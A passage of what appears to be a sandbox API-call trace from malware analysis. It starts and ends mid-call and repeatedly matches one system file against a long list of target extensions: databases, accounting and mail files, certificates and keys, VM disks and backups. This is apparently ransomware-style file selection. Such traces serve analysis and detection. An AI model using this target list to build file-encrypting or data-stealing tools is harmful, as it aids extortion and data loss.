lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll" [0111.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0111.070] lstrlenA (lpString="*.ems") returned 5 [0111.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.db") returned 0 [0111.070] lstrlenA (lpString="*.db") returned 4 [0111.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.070] lstrlenA (lpString="*.dbf") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0111.071] lstrlenA (lpString="*.myox") returned 6 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0111.071] lstrlenA (lpString="*.myo") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.071] lstrlenA (lpString="*.qbw") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.071] lstrlenA (lpString="*.qbb") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.071] lstrlenA (lpString="*.qbm") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.071] lstrlenA (lpString="*.qbo") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.071] lstrlenA (lpString="*.qbx") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0111.071] lstrlenA (lpString="*.qba") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0111.071] lstrlenA (lpString="*.qby") returned 5 [0111.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.071] lstrlenA (lpString="*.qbj") returned 5 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.072] lstrlenA (lpString="*.ofx") returned 5 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0111.072] lstrlenA (lpString="*.qif") returned 5 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0111.072] lstrlenA (lpString="*.mye") returned 5 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.072] lstrlenA (lpString="*.mbox") returned 6 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.072] lstrlenA (lpString="*.eml") returned 5 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0111.072] lstrlenA (lpString="*.pst") returned 5 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0111.072] lstrlenA (lpString="*.ost") returned 5 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0111.072] lstrlenA (lpString="*.idx") returned 5 [0111.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.073] lstrlenA (lpString="*.dbx") returned 5 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0111.073] lstrlenA (lpString="*.sql") returned 5 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.073] lstrlenA (lpString="*.mdb") returned 5 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.073] lstrlenA (lpString="*.fdb") returned 5 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0111.073] lstrlenA (lpString="*.wab") returned 5 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0111.073] lstrlenA (lpString="*.dat") returned 5 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0111.073] lstrlenA (lpString="*.txt") returned 5 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.073] lstrlenA (lpString="*.jpeg") returned 6 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.073] lstrlenA (lpString="*.jpg") returned 5 [0111.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.png") returned 0 [0111.073] lstrlenA (lpString="*.png") returned 5 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.php") returned 0 [0111.074] lstrlenA (lpString="*.php") returned 5 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0111.074] lstrlenA (lpString="*.cs") returned 4 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.074] lstrlenA (lpString="*.cpp") returned 5 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0111.074] lstrlenA (lpString="*.rar") returned 5 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0111.074] lstrlenA (lpString="*.zip") returned 5 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.html") returned 0 [0111.074] lstrlenA (lpString="*.html") returned 6 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0111.074] lstrlenA (lpString="*.htm") returned 5 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.074] lstrlenA (lpString="*.xlsx") returned 6 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0111.074] lstrlenA (lpString="*.xls") returned 5 [0111.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.074] lstrlenA (lpString="*.mp4") returned 5 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.075] lstrlenA (lpString="*.ppt") returned 5 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.075] lstrlenA (lpString="*.pptx") returned 6 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0111.075] lstrlenA (lpString="*.doc") returned 5 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0111.075] lstrlenA (lpString="*.dot") returned 5 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0111.075] lstrlenA (lpString="*.docx") returned 6 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0111.075] lstrlenA (lpString="*.7z") returned 4 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0111.075] lstrlenA (lpString="*.tar") returned 5 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.075] lstrlenA (lpString="*.bz2") returned 5 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0111.075] lstrlenA (lpString="*.gz") returned 4 [0111.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.076] lstrlenA (lpString="*.mkv") returned 5 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.076] lstrlenA (lpString="*.eml") returned 5 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0111.076] lstrlenA (lpString="*.msg") returned 5 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0111.076] lstrlenA (lpString="*.edb") returned 5 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.076] lstrlenA (lpString="*.accdb") returned 7 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0111.076] lstrlenA (lpString="*.odb") returned 5 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.java") returned 0 [0111.076] lstrlenA (lpString="*.java") returned 6 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0111.076] lstrlenA (lpString="*.asm") returned 5 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.076] lstrlenA (lpString="*.pfx") returned 5 [0111.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0111.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0111.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0111.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0111.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0111.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0111.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0111.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0111.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0111.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0111.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0111.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0111.080] PathMatchSpecA 